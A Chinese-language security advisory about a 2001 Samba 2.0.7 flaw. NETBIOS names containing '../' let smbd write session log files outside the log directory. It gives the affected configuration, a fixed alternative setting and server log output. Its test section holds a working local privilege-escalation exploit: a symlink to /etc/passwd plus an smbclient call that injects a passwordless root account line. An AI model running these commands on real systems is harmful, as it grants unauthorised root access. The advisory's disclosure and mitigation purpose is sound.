SMBd 远程文件可建立漏洞发布时间:2001-06-25 更新时间:2001-06-25 严重程度:高 威胁程度:本地管理员权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 SMBd version 2.0.7详细描述 由于对进站的SMB请求没有很好的对NETBIOS电脑名字进行合法性检查,samba 守护程序允许远程攻击者在LOG目录外建立可定义内容的SMB会话LOG文件(*.log), 这个漏洞可以造成远程拒绝服务攻击,或者组合本地连接,可以使权限提升。 默认在有漏洞的平台,SMB会话进程记录文件到/var/log/samba/.log. 如果攻击者 从'FOOBAR'连接,LOG就会放到/var/log/foobar.log中,不幸运的是,象'../../../evil' 这样的NETBIOS名字也可以被接受,建立/evil.log。 如果在smb.conf文件中有这样的设置,上面的方法就可以利用: log file = /var/log/samba/%m.log 有些FREEBSD中的配置如下所示: log file = /usr/local/samba/var/log.%m 这种就不存在漏洞。 测试代码 下面是REDHAT 7.X的利用方法: $ ln -s /etc/passwd /tmp/x.log $ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" -n ../../../tmp/x -N 这里的NIMUE是本地主机名字: $ su toor # 上面的方法SAMBA守护程序会尝试访问'../../../tmp/x'LOG文件,而不 存在时会转化为open() /var/log/samba/../../../tmp/x.log方式,而且 /tmp/x.log是以O_APPEND模式打开,又建立了符号连接,这样匿名用户尝试 mount不存在的共享名字"\ntoor::0:0::/:/bin/sh\n" 就被记录到/tmp/x.log, 即/etc/passwd中,错误信息如下所示: [2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X(925) Rejecting user 'lcamtuf': authentication failed [2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214) ../../../tmp/x (192.233.133.108) couldn't find service toor::0:0::/:/bin/sh 解决方案 临时方法就是把log文件设置为第二种方法,详细信息可在如下地址查询: http://us1.samba.org/samba/whatsnew/macroexploit.html 相关信息 lcamtuf at razor.bindview.com |